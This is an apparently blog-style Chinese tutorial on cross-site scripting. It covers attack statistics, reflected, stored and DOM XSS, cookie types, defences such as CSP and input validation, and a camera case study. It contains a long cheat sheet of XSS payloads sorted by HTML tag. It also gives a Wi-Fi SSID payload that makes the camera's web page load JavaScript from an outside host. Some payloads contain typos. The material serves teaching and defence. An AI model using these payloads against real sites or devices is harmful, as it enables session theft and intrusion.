
思科2018年度安全报告 的结果显示, 40%的能使网络瘫痪的攻击都是XSS攻击,这是最常用的攻击技术。 当攻击者使用web应用程序在用户的计算机上发送或执行恶意代码时,就会发生这种特殊的攻击
随着应用层的攻击越来越多,它已经成为 网络安全的严重威胁
对于大量应用程序来说,这已经是最大的安全性问题,特别是那些高可用性操作或优先服务中实现的 应用程序,如医疗、银行、电子商务等
根据《2018年全球安全报告》(global security report 2018)给出的数据,平均每个应用程序大约有 11个漏洞隐患
这份报告显示,网络攻击正变得越来越具体、越来越频繁、越来越复杂

其中,所占攻击比重最大的是 跨站点脚本攻击(XSS), 占总体攻击的 40%,紧接着是SQL注入24%,cross-section为7%,本地文件包含4%,分布式拒绝服务(DDoS)为3%
当web应用程序从受害者计算机的浏览器执行恶意代码(通常以脚本的形式)时,就会发生XSS攻击 。通过这种攻击,攻击者会窃取个人信息,或者窃取用户的cookies
根据CWE/SANS列出的前25个最危险的漏洞,分为三类
-
组件之间的不安全交互(6个错误)
-
风险资源管理(8个错误)
-
多孔性防御(11处错误)
XSS全称跨站脚本 (Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。 跨站点脚本(XSS)攻击是一种注射型攻击 ,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击
若被利用XSS漏洞 :
-
web应用程序的内容可用来插入各种广告,影响商业网站的声誉或欺骗用户
-
从开放会话中窃取会话cookie,并在这些会话在线时提取信息
-
窃取或冒充合法用户的身份,窃取个人信息
-
如果攻击者滥用这些被窃取的信息,用户的HTTP会话可能会被破坏或劫持
XSS攻击的类型

反射型XSS
在这种类型中,攻击者 放置一个脚本来窃取受害者的cookie,接收到该cookie后,攻击者可以使用受害者的权限执行操作,而不需要使用任何类型的密码
这种攻击在搜索引擎中很常见,通常是通过 表单、url、cookies、flash程序甚至视频注入代码
通过这种方式, 代码可通过第三种机制被重定向。 例如,通过电子邮件,攻击者可以说服用户点击message中的链接来执行任何JavaScript代码。
其结果是 将用户的流量重定向到攻击者的web应用程序
如果所述Web应用程序存在XSS漏洞,则其执行将在承载该应用程序的Web站点的可信环境中执行

存储型XSS
攻击者将HTML代码直接注入允许访问的web页面或站点
这种攻击需要编程标记(如JavaScript脚本),这些代码在第一次攻击后对所有用户都是永久的
攻击者发送的数据 永久地存储在服务器上,然后显示给访问网站的用户。 其结果包括:允许执行代码来获得提升的特权,默认用户激活了他们的管理员帐户

DOM型XSS
是一种更复杂、常见的攻击
不同之处在于,恶意代码是通过 URL注入的,而不是在源代码中作为web的一部分加载的
检测起来比较困难,它被认为是一个本地的XSS
当一个被感染的页面被打开时, 恶意代码会利用一些漏洞将自己安装到web浏览器的一个文件中,并且在没有任何预先验证的情况下执行
与反射行XSS一样的是,这种攻击需要用户单击链接,因此web页面上的脚本选择URL变量并执行它所包含的代码。 这种方法在窃取会话cookie方面更有效

泄露存储在用户cookies中的信息: 用户可以在客户端创建一个脚本,该脚本一旦执行,就会执行一些活动,比如将站点中的所有cookie解析为一个特定的电子邮件地址
通过XSS攻击窃取COOKIE
这些攻击通常用于 在数据库中窃取cookies,因此,攻击者执行任意脚本,从受害者的计算机中提取个人信息
默认情况下, cookie是维护用户和web应用程序之间的会话身份验证的机制。 但是,它们有固有的安全弱点,允许攻击这些会话的完整性。建议 使用HTTPS协议来保护cookie,但是性能方面的成本很高,特别是对于那些高分布度的应用程序
另一方面,即使启用了HTTPS协议,cookie也可以以多种方式公开。 大多数cookie以文本文件或小型数据库的形式存储在用户的计算机中,如SQLite格式(Mozilla Firefox)。它的目标是 存储与导航首选项、会话、凭据,诸如浏览器类型或用于访问网站的设备类型等相关的信息
以下是最常见的cookies类型
-
Session Cookie
这个类型的cookie 只在会话期间内有效,即当关闭浏览器的时候,它会被浏览器删除。
设置session cookie的办法是: 在创建cookie不设置Expires即可
-
Persistent Cookie
持久型cookie顾名思义就是会长期在用户会话中生效 。
当你设置cookie的属性Max-Age为1个月的话,那么在这个月里每个相关URL的http请求中都会带有这个cookie。所以它 可以记录很多用户初始化或自定义化的信息,比如什么时候第一次登录及弱登录态等
-
Secure cookie
安全cookie是在https访问下的cookie形态, 确保cookie在从客户端传递到Server的过程中始终加密的。 有效的降低了cookie被盗取的概率
-
HttpOnly Cookie
目前 主流的浏览器已经都支持了httponly cookie
IE5+/Firefox 1.0+
Opera 8.0+/Safari/Chrome
在支持httponly的浏览器上,设置成httponly的cookie只能在http(https)请求上传递
也就是说httponly cookie对客户端脚本语言(JavaScript)无效,从而避免了跨站攻击时JS偷取cookie的情况。 当使用javascript在设置同样名字的cookie时,只有原来的httponly值会传送到服务器
-
3rd-party cookie
第一方cookie是cookie种植在浏览器地址栏的域名或子域名下
第三方cookie则是种植在不同于浏览器地址栏的域名下
例如: 用户访问a.com时,在ad.google.com设置了个cookie,在访问b.com的时候,也在ad.google.com设置了一个cookie
-
Super Cookie
Super Cookie是设置公共域名前缀上的cookie。 通常a.b.com的cookie可以设置在a.b.com和b.com,而不允许设置在.com上。
目前,大多数web应用程序 使用cookie来维护与用户的会话状态,也就是说,cookie是 在用户通过身份验证(会话cookie)后发送的。 对于以后的连接,将不需要额外的身份认证,因为验证后的cookie只会在允许新请求时进行验证
这种身份验证功能使cookies成为攻击者的潜在目标,因为它们是由网站创建的,包含少量数据,可以在发送方和接收方之间发送
例如 ,一个用户第一次访问一个web页面,他的计算机上保存了一个cookie。如果用户稍后访问同一页面,网站服务器会请求相同的cookie用站点的新配置更新它 ,这就是用户的访问变得如此个性化的原因
如图,对于不安全的会话cookie和非安全类型的会话cookie, 根据漏洞类别的补救率小于20%

当前补救率根据类型的漏洞
此外,如图,开发人员总是面向修复或纠正最易访问或最容易的问题。
例如,应用程序的错误设置的 补救率为74%,未修补的库的补救率为62%。 然而,最复杂和困难的解决方案仍然是XSS(38%)和SQL注入(32%)

根据XSS漏洞的类别确定修复率
常见标签
<scirpt>标签
<scirpt>alert("xss");</script>
<img>标签
<img src=javascript:alert("xss")><IMG SRC=javascript:alert(String.formCharCode(88,83,83))><img scr="URL" style='Xss:expression(alert(/xss));'<img STYLE="background-image:url(javascript:alert('XSS'))"><img src="x" onerror=alert('xss')><img src="1" onerror=eval("alert('xss')")><img src=1 onmouseover=alert('xss')>
<a>标签
<a href="javascript:alert('xss')">aa</a><a href=javascript:eval(alert('xss'))>aa</a><a href="javascript:aaa" onmouseover="alert(/xss/)">a</a><a href="" onclick=alert('xss')>aa</a><a href="" onclick=eval(alert('xss'))>aa</a><a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
<input>标签
<input value="" onclick=alert('xss') type="text"><input onfocus="alert('xss');"><input name="name" value="" onmouseover=prompt('xss') bad=""><input onblur=alert("xss") autofocus><input autofocus><input onfocus="alert('xss');" autofocus><input name="name" value=""><script>alert('xss')</script>
<form>标签
<form action=javascript:alert('xss') method="get"><form action=javascript:alert('xss')><form method=post action=aa.asp? onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)><form method=post action="data:text/html;base64,<script>alert('xss')</script>"><form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<details>
<details ontoggle="alert('xss');"><details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select><select onfocus=alert(1) autofocus>
<iframe>标签
<iframe onload=alert("xss");></iframe><iframe src=javascript:alert('xss');height=5width=1000 /><iframe><iframe src="data:text/html,<script>alert('xss')</script>"></iframe><iframe src="data:text/html;base64,<script>alert('xss')</script>"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe src="aaa" onmouseover=alert('xss') /><iframe><iframe src="javascript:prompt(`xss`)"></iframe>
<svg>标签
<svg onload=alert(1)>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");><body onscroll=alert("xss");><br><br><br><br>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 onerror=alert("xss")>
expression属性
<img style="xss:expression(alert('xss''))"> <div style="color:rgb(''x:expression(alert(1))"></div><style>#test{x:expression(alert(/XSS/))}</style>
background属性
<table background=javascript:alert(1)></table>
检测XSS的办法
-
内容安全策略 (CSP):内容安全策略是一种安全标准,用于防止XSS、点击劫持攻击和其他类型的弹出式攻击 ,这些攻击是在网页内容中执行恶意内容的结果。它是W3C工作组关于现代web浏览器支持的web应用程序安全性的建议。
使用这种方法,开发人员必须声明浏览器将上载到其网站的内容的批准来源,例如, JavaScript、CSS、HTML框架、字体、图像、可嵌入对象(如Java、ActiveX、音频和视频文件)和其他HTML5特性
-
输入文本验证 :此方法是防御XSS攻击的更常见类型 。这种对不可靠的文本条目的处理是通过模块的编程来过滤和分析文本的
-
库或框架 :包括微软的反XSS库,这是一个免费开放的集合 ,收集了开发人员构建一个名为OWASP ESAPI和ApacheWicket 的安全web应用程序所需的所有安全方法
-
XSSer :也称为跨站“脚本” ,是一个用于检测和利用XSS漏洞的自动Web测试框架工具 ,它包含几个试图绕过某些过滤器的选项和一些代码注入的特殊技术。它是由OWASP开发的一种开源项目XSS
我们看一个XSS的案例
这是一个在 ANNKE SP1 HD无线摄像头(固件版本v3.4.1.1604071109)中发现了一个风险较低但十分有趣的XSS
有趣的是, 在Annke Web界面中查看可用的Wi-Fi接入点时会触发XSS
因此,如果在摄像头的WIFI范围内有如下SSID:
<script src=//xjs.io></script>
当受害者访问无线配置页面时,SP1相机将加载并运行在http://xjs.io/上的JavaScript代码。 这是因为他扫描了附近的无线网络,并将能够连接的SSID直接显示在了页面上
为了验证我们的想法,编写一个脚本来从相机中窃取图像

利用XSS获取图像

官方可能已经修复了它,显然,人们现在需要开始关心物理接近利用这个问题,虽然它并不是一个巨大的漏洞。但它确实说明供应商需要小心 验证来自任何源的输入,而不仅仅是Web界面上的GET/POST参数
如果你想做点更有意思的事,可以使用这个脚本:
https://github.com/pentestpartners/bits-for-blog/blob/master/annke-spin.js 让摄像头进行平移
附上代码




